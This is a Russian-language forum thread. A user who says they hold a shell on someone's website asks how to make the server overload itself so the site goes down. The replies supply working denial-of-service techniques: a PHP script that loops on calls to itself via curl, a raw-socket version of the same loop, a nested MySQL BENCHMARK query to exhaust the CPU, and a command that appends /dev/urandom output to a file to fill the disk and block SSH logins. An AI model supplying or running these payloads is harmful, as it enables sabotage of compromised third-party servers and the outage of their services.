Здравствуйте. Имеется шелл на определенном сайте. Мне нужно чтоб сервер сам себя ддосил или вернее сильно загружал и сайт соответственно не работал. Знаю есть в MySql запрос такой но вот не помню. Вообщем подскажите что-то для максимальной нагрузки сервера.
Это немного не то что написал phpdreamer, но такой скрипт загрузил мой ноут на 100%, даже мышка не двигалась, пришлось вырубать кнопкой))) PHP: <?php while(1) { $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, "http://norm/kill/1.php"); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 1); $result = curl_exec($ch); curl_close($ch); } ?> Вместо http://norm/kill/1.php введешь урл к этому самому скрипту
Как вариант курл заменить сокетами, но не факт что на хосте они есть. С сокетами в плотную не работал, когда буду дома попробую
PHP: <?php while(1) { get_page("norm","/kill/index.php"); } function get_page($site,$page,$ref='',$cookie='',$post='',$isheaders=false,$ua='Opera 9.27 (compatible; MSIE 6.0; Windows NT 5.1; ru)') { $page=trim($page); $site=trim($site); $socket = fsockopen($site, 80, $errno, $errstr, 15); if ($socket){ if ($post!=''){ $send = "POST $page HTTP/1.0\r\n"; $send .= "Content-Length: ". strlen($post) ."\r\n"; $send .= "Content-Type: application/x-www-form-urlencoded; charset=utf-8\r\n"; } else $send = "GET $page HTTP/1.0\r\n"; $send .= "User-Agent: $ua\r\n"; $send .= "Host: $site\r\n"; $send .= "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n"; if($ref!='') $send .= "Referer: $ref\r\n"; if($cookie!=''){ $send .= "Cookie: $cookie\r\n"; $send .= 'Cookie2: $Version=1'."\r\n"; } $send .= "Accept-Language: ru,en;q=0.9,ru-RU;q=0.8\r\n"; $send .= "Connection: close\r\n\r\n".$post; fputs($socket,$send); fclose($socket); } return $he; }; ?> Пример с сокетами. Функцию для сокетов вытянул из гугла, можно обрезать функцию, но и так работает))) Опять ноут завис намертво, еще и звуки страшные издавал Больше не буду пробовать такое делать Изменить нужно get_page("norm","/kill/index.php"); norm - домен /kill/index.php - путь к скрипту
Многопоточность без курла в пхп не сделать. Но вообще, можно делать вложенный бенчмарк, если память не изменяет. SELECT BENCHMARK(99999999999999,BENCHMARK(99999999999999,MD5(CHAR(116))) Может так упадёт?
Нет они не создадут нагрузку. максимум будет притормаживать при копировании или архивировании больших файлов (подсказка ).. Но не повиснет
угум.... я иногда cat /dev/urandov >> /tmp/gg делаю зачастую после забива места ssh перестает подрубаться, вернее не дает залогиниться - решается только с локальной консоли или ребутом... но можно ж и не в /tmp писать